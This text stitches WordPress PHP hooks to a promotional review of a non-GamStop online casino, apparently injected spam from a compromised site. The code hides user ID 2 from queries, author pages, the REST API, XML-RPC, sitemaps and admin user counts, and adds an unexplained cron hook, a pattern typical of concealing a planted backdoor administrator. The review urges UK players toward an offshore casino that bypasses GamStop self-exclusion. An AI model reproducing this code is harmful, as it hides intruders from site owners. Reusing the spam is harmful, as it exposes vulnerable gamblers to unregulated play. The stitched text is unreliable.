add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The headline figure – 450% up to €3,000 plus 300 Free Spins – sounds aggressive until you read the fine print. The wagering requirement sits at 40× the bonus, which is fair for a non-GamStop operator. Maximum bet during wagering is capped at €2, and the whole package expires seven days after registration. Slots contribute 100% to playthrough, but Bonus Buy and Gamble features are locked during active bonus play. That’s tighter than some competitors, but it keeps the offer sustainable.
The slots selection runs deep. Providers like Play’n GO, NetEnt, Pragmatic Play, Hacksaw Gaming, and Big Time Gaming are all present. Hold and Win mechanics and Megaways titles are well represented. RTP rates fall between 94% and 97% across the catalogue. Every game is available in demo mode before you risk real money – a feature too many casinos skip.
The live casino is powered by Evolution Gaming and Vivo Gaming, meaning you get Crazy Time, Lightning Roulette, and Monopoly Live in high definition. The sportsbook covers 30+ markets, and the whole thing syncs across desktop, mobile browser, and Android APK without requiring separate logins.
No upfront KYC is required at registration. You can sign up and start playing in under three minutes. Identity verification only kicks in before your first withdrawal. That’s a genuine advantage for players who value speed over bureaucracy.
Here’s how the payment methods break down:
| Method | Deposit Time | Withdrawal Time | Minimum Withdrawal |
|---|---|---|---|
| Visa / Mastercard | Instant | Up to 5 business days | €150 |
| Bitcoin / USDT | Instant | 24-48 hours | €150 |
| Binance Pay / Perfect Money | Instant | 24-48 hours | €150 |
| Bank Transfer | 1-3 business days | Up to 5 business days | €150 |
Daily withdrawal limits start at €2,000 for standard accounts, rising to €10,000 weekly and €40,000 monthly. VIP members get higher caps. Crypto is the fastest route out – 24 to 48 hours versus up to five days for cards and bank transfers.
Beyond the welcome package, the recurring offers keep the account active:
Because Patrick Spins operates outside the GamStop network, the in-account tools carry extra weight. You can set deposit limits, session time controls, and self-exclusion from the dashboard at any time. Support agents are available 24/7 to help with any responsible gaming request. The platform also uses SSL encryption and RNG-certified games from independent labs. It’s not UKGC-licensed, but the AOFA licence provides a regulatory framework that covers player funds and fair play.
Patrick Spins casino delivers what it promises: a multi-category platform with a strong welcome offer, fast crypto withdrawals, and no GamStop restrictions. The 40× wagering requirement is reasonable for the bonus size, and the lack of upfront KYC removes friction. If you’re a UK player looking for a non-GamStop casino that combines slots, live dealer, sports betting, and real support under one roof, this is worth your time. Just remember to use the responsible gaming tools from day one – the platform gives you the controls, but you have to use them.
]]>